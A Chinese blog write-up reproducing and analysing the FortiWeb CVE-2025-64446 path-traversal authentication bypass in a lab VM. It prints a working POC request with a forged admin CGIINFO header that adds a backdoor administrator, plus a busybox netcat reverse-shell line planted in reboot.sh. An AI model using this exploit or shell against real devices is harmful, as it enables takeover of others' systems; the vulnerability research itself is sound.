FortiWeb CVE-2025-64446漏洞深入复现分析
CVE-2025-64446
文中涉及的任何技术、工具或方法,仅用于提升系统安全能力、漏洞修复或合法的授权测试。请勿将其用于任何未经授权的非法行为。作者及发布平台不对因复制、执行或参考本文内容而导致的任何直接或间接损失负责。由此造成的任何损失或法律责任与作者无关。操作系统、网络环境及第三方应用可能存在未知风险,请确保在合法授权和安全隔离的环境下进行操作
FortiWeb是Fortinet公司推出的企业级Web应用防火墙(WAF),专为保护Web应用和API抵御高级威胁设计。根据有关信息,该漏洞在 FortiWeb 8.0.2、7.6.5 等版本中修复,我们选择 FortiWeb 7.6.4 来复现漏洞,环境可以在 这里 获取(环境地址的原文章来自这位大佬的博客https://wzt.ac.cn/2025/11/19/CVE-2025-64446)
下载完成并打开后可以看到如下两个压缩包

这里我们先选择有漏洞的版本进行解压缩

可以看到有这三个文件,我们直接双击fortiweb-vm-64-hw7.ovf或者fortiweb-vm-64-hw13.ovf即可安装该虚拟机。然后需要进行一下ip的配置,这里建议可以像我一样配置,当然自己按照其他的配置也行

随后将网络适配器配置成VMnet8之后打开虚拟机,一般默认的登录账户是admin,密码为空。然后登录进了之后可以按照以下命令配置一下虚拟机的相关ip
config system interface
edit port1
set mode static
set ip 192.168.235.10/24
end
这里set ip 后面要跟的是你虚拟机设置相关网段的ip,比如我这里就是虚拟机设置的VMnet8(对应192.168.235.x),set ip 192.168.235.10/24 所以这样设置我的ip。然后访问该ip的443端口即可出现fortiweb的登录界面

众所周知像Fortinet这种网络安全公司或者重视网络安全的公司提供出来的设备一般在登录后都是不会提供root shell的,都是阉割了之后的cli,甚至某些磁盘镜像都是会进行加密的,所以为了我们后续的进一步调试分析,获取root shell是十分有必要的。这里我们需要先挂载对应的虚拟磁盘,看目录结构然后再决定该怎么来获取root shell。

打开虚拟机的安装目录,找到这个vmdk文件,然后再开一个linux虚拟机,复制到里面去,当然如果你主机就是linux的也可以在主机进行以下操作
先按照好对应的挂载工具
sudo apt update
sudo apt install -y qemu-utils libguestfs-tools gzip xz-utils
挂载虚拟磁盘直接使用下面命令挂载会报错
sudo guestmount -a FortiWeb\ task-disk1.vmdk -i --rw /mnt/vm
需要先通过下面命令查看分区。
sudo virt-filesystems -a FortiWeb\ task-disk1.vmdk --all --long -h
然后指定分区挂载,以读写的形式挂载
sudo guestmount -a FortiWeb\ task-disk1.vmdk -m /dev/sda1 --rw /mnt/vm
这里的/mnt/vm是我自己创建的一个目录,也可以自己创建一个其他的目录
然后挂载完之后我们进入/mnt/vm这个目录查看他的文件结构

这里可以看到rootfs是有chk的,所以直接改rootfs大概会被修回去或者直接拒绝挂载啥的(具体会怎么样我没试过),还有就是这里的rootfs.gz我改成了rootfs.xz,至于为什么这么改后面再说,但是现在先不用修改这个为了以防修改了之后可以挂载或者启动失败的情况出现。然后这里可以看到etc 目录是没有打包在 rootfs.gz 中的,并且里面包含 vmware-tools,该目录下的脚本与虚拟机暂停、关机、还原状态等有关

那也就意味着/etc下面的目录大概率是没有检查的,因此我们可以在etc 目录下放一个静态编译的busybox,然后修改 vmware-tools 中的 reboot.sh 脚本,在脚本中利用 busybox 生成一个反向 shell,也就是弹一个shell出来给我们的攻击者机器。但是一开始我并没有成功,后面看大佬的文章貌似完整的目录应该是为/data/etc/busybox,不过我不太清楚这个目录是Fortiweb在启动之后把etc转变的目录还是说自己要mkdir一个这样的目录出来所以我既创建了一个/data/etc这样的目录放了个busybox并且在/etc目录下面也放置了一个busybox。
这里静态编译的busybox并不需要我们自己去找,自己ubuntu中的busybox就行。

如上图可以看到Fortiweb中使用的ELF文件也是X86-64的,而我们ubuntu中自带的busybox就是静态编译的而且架构也匹配,随后我们执行cp /bin/busybox /mnt/vm/etc 命令之后,再把reboot.sh脚本修改为如下图所示
root@research:/mnt/vm# cat ./etc/vmware-tools/reboot.sh
#!/bin/sh
/data/etc/busybox nc 192.168.235.201 8999 -e /bin/sh
#cli admin console << EOF
#exec reboot
#y
#EOF
root@research:/mnt/vm#
这里的192.168.235.201需要替换为自己攻击者机器的ip。然后因为我们是以读写的命令挂载该虚拟磁盘的,所以我们写入的内容也保存在里面了,执行以下命令卸载掉这个磁盘
sudo guestunmount /mnt/vm
不过记得卸载的时候我们要退出/mnt/vm这个工作目录。然后再卸载这个磁盘,虽然我们再将这个修改后的磁盘拷贝到Fortiweb对应的虚拟机目录下面替换掉原来的虚拟磁盘,然后再开机。随后我们再在ubuntu(攻击者机器上面执行 nc -lvvp 8999),然后再在Fortiweb上面点击重启虚拟机,即可或得Fortweb的root shell


接下来我们继续分析这个漏洞的成因是什么,看cve描述没有看出什么有用的东西,只知道和路径穿越有关,这里可以先吧rootfs.gz解包进行分析查看对应的webserve是什么,以及相关的配置信息。因为这个rootfs.gz是gz后缀的,所以优先考虑使用
gunzip进行解包,但是发现其并不是gzip的压缩格式
root@research:/mnt/vm# gunzip -k rootfs.gz
gzip: rootfs.gz: not in gzip format
root@research:/mnt/vm# LS
使用file命令查看后发现其是XZ格式的压缩数据
root@research:/mnt/vm# file rootfs.gz
rootfs.gz: XZ compressed data
但是直接在我们挂载的/mnt/vm目录下进行解压空间不太够,因此我们需要先cp到一个够大的目录然后再执行下面命令进行解压缩
cp rootfs.gz rootfs.gz.bak
mv rootfs.gz rootfs.xz
cp rootfs.xz /tmp/
cd /tmp
unxz rootfs.xz
随后挂载即可看到rootfs的文件目录,随后发现了apache相关的httpd.conf配置,大概率可以猜到webserve应该是沿用的httpd这一类的,但是搜索并没有搜索到这个文件,随后通过寻找相应的文章发现Fortiweb 所用的Webserve名为httpsd,然后通过配置中的
<Directory "/migadmin/cgi-bin">
Options +ExecCGI
SetHandler cgi-script
</Directory>
在/migadmin/cgi-bin目录下找到对应的fwbcgi二进制文件,因此我们可以展开进一步的分析
先来看一下POC吧,参考的大佬文章POC有一点不对,不过无伤大雅,正确的POC应该是下面这个
POST /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: 192.168.235.10
Accept-Encoding: gzip, deflate, br
Content-Length: 101
CGIINFO: eyJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJ1c2VybmFtZSI6ICJhZG1pbiIsImxvZ2lubmFtZSI6ICJhZG1pbiJ9
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
{"data":{"name":"backdoorusertest","access-profile":"prof_admin","password":"backdoorusertest"}}
有趣的是漏洞触发点中最终执行handler的fwbcgi这个二进制文件不是常驻项,当这个POC发送过来之后httpsd这个二进制程序会先调用ap_parse_uri解析url将这个原始url先保存 到request 结构里,

然后再执行ap_process_request_internal函数中的117行对该url进行路径规范化

再在该函数的130行对该url进行解码

经过规范化和解码之后/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi这个url就变成了/cgi-bin/fwbcgi
随后httpsd在识别到该URL是传递给CGI程序处理的因此不进行鉴权,随后在ap_invoke_handler调用相应的handler最终跑 ap_run_handler(a1),我们继续追该handler。可以在调用表里看到该handler对应的是sub_120B70函数,随后在该函数中执行下面两个函数为执行要执行的对应的处理设置好变量

在ap_add_cgi_vars中会获取REQUEST_URI这个关键的变量,有趣的是这个REQUEST_URI按理来说应该是/cgi-bin/fwbcgi这个处理后的URL才对,不过貌似系统没有默认设置cureent-url的模式而是设置的original模式,所以还是会读取之前的恶意的url。

因为不是cureent-url的模式所以上图会走else分支
这个 else 分支做的事情非常关键: 它不是取规范化后的 a1[44],而是在按空格扫描 a1[8],跳过第一个 token,再复制第二个 token。
这说明它处理的是原始请求行:
METHOD SP URI SP HTTP/1.1
它取的第二个 token,就是原始 URI。
最后写入环境变量
然后相应handler的变量设置完成之后,就会在sub_11F340中的80行左右通过ap_os_create_privileged_process 在 CGI handler 路径里按需创建一个新的 CGI 子进程,并exec fwbcgi。

因此可以看到最终httpsd传递给fwbcgi的url是没有规范化后的url,我个人认为这里是造成漏洞的重要原因之一。
那么fwbcgi中难道也没有对这种恶意的url进行识别或者规范化吗?我们可以在静态和动态两个层面来看,fwbcgi对这种恶意构造的url是怎么处理的
静态分析

这里可以看到fwbcgi的main函数在执行cgi_init将请环境init之后随后就调用porcess了,我们可以先看看cgi_init()里面调用了什么。


如上图可见我们构造的恶意的url可以轻松通过上面的前缀匹配校验。并且在102行如果url中有%3f也就是?的话就会直接把后面的url抛弃,可以直接匹配成功。
但是我经过测试哪怕不加这一个?也是可以匹配成功的这是因为 fwbcgi 的路由拆分方式。cgi_init 只先拆出前几段:cmdb 存到 *(a1+8),system 存到 *(a1+16),而 admin/../../../../../cgi-bin/fwbcgi 整体先存到 *(a1+24) 代码见上图的114~120行。 然后后续再走到cgi_process函数中执行cgi_cmdb_handler函数的时候会又只在第一个 / 处分一次,于是 admin 被留下作为 sub_object,后面的 ../../../../../cgi-bin/fwbcgi 被单独塞进 ctx+32 作为 child path


cgi_cmdb_handler 先用 system/admin 解析基础节点

后面的 child 节点解析只是"可选"的。

即使这个 child 没解析成功,代码也没有因为 v27 为空就停止,仍然继续进 POST/PUT/DELETE/GET 分发

这就是为什么它不带?的情况下却仍然能打到 system/admin的原因
动态分析
因为fwbcgi是被fork出来的,所以我们在动态分析的时候,使用netstat -tunlp命令是看不到fwbcgi这个二进制文件及其所对应的开放的端口的。所以不能通过传统的gdbserver --attach进行调试
但是为了进一步调试及其深入理解这个不得不想办法看如何调试到这个二进制文件。当我使用下面命令想要catch httpsd的子进程的时候catch到了其他子进程,一直catch不到我想要的fwbcgi进程,没办法再经过了几个小时的折腾之后最终我放弃了,使用了模拟访问的方式,将要发包的POC打撒成环境变量写入虚拟机中,然后再启动gdbserver,再在主机target remote xxxx:xx调试,最终调试成功了
首先我们需要现在对应的shell上面 wget 到我们自己准备的静态编译的gdbserver,然后在受害者虚拟机执行以下命令
gdbserver远程调试
BODY='{"data":{"name":"bac","access-profile":"prof_admin","password":"bac"}}'
LEN=$(printf '%s' "$BODY" | wc -c)
printf '%s' "$BODY" | \
REQUEST_METHOD=POST \
REQUEST_URI=/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi \
REDIRECT_URL=/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi \
QUERY_STRING= \
REDIRECT_QUERY_STRING= \
CONTENT_TYPE=application/json \
CONTENT_LENGTH="$LEN" \
HTTP_CGIINFO='eyJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJ1c2VybmFtZSI6ICJhZG1pbiIsImxvZ2lubmFtZSI6ICJhZG1pbiJ9' \
SERVER_PROTOCOL=HTTP/1.1 \
REMOTE_ADDR=192.168.3.145 \
REMOTE_PORT=54321 \
SCRIPT_NAME=/cgi-bin/fwbcgi \
./gdbserver-7.12-x86_64-sysv 0.0.0.0:12346 /migadmin/cgi-bin/fwbcgi
pwngdb 中 remote远程接受。
target remote 192.168.235.10:12346
这里需要注意,不知道为什么会在这里卡死,一直ni都步进不了,我一开始还以为我模拟没有成功。不过只需要在后面的<cgi_init+90> 在个位置打一个断点再c执行过去即可。后面如果遇到这样的情况也可以这样子做

最终发现fwbcgi确实也没有将其进行规范化处理,只进行前缀匹配。
/api/v2.0/cmdb/system/admin?/../../../../../cgi-bin/fwbcgi
最后这个恶意的url在fwbcgi前缀匹配的代码逻辑下被识别成了/api/v2.0/cmdb/system/admin接口。至此为止与url的相关防线已经全面崩溃,不过我们可以看到,fwbcgi在调用cgi_process前 还会调用 cgi_auth 函数进行检查,如果不通过则执行cgi_output函数不执行对应process。
那么cgi_auth这最后一道鉴权逻辑防线可以挡住攻击吗?我们可以继续看这部分的相关代码


很显然这个鉴权也是鉴了个寂寞,甚至可以说这一个就不是鉴权函数。这里只是读取环境变量 HTTP_CGIINFO,如果没有就返回 -1。然后把这个值 base64 解码、解析成 JSON,提取 username、profname、vdom、loginname、session_id、sso_user。用户只需要自己输入admin的name和其他json结构体之后再base64编码之后即可通过这个鉴权判断。
{"profname": "prof_admin", "vdom": "root", "username": "admin","loginname": "admin"} 将以上这个json结构体写入再base64编码之后即可通过了并且成功有系统管理员的权限了
最后由于/api/v2.0/cmdb/system/admin 是用于添加系统管理员的接口,攻击者利用以上漏洞绕过认证后,便可以向系统添加新的用户,然后就可以使用新的管理员权限执行进一步攻击。
CVE-2025-64446 & 其它漏洞 | Catalpa's Site
复现Fortinet FortiWeb高危漏洞CVE-2025-64446:路径遍历与远程代码执行的组合攻击本文详细复现 - 掘金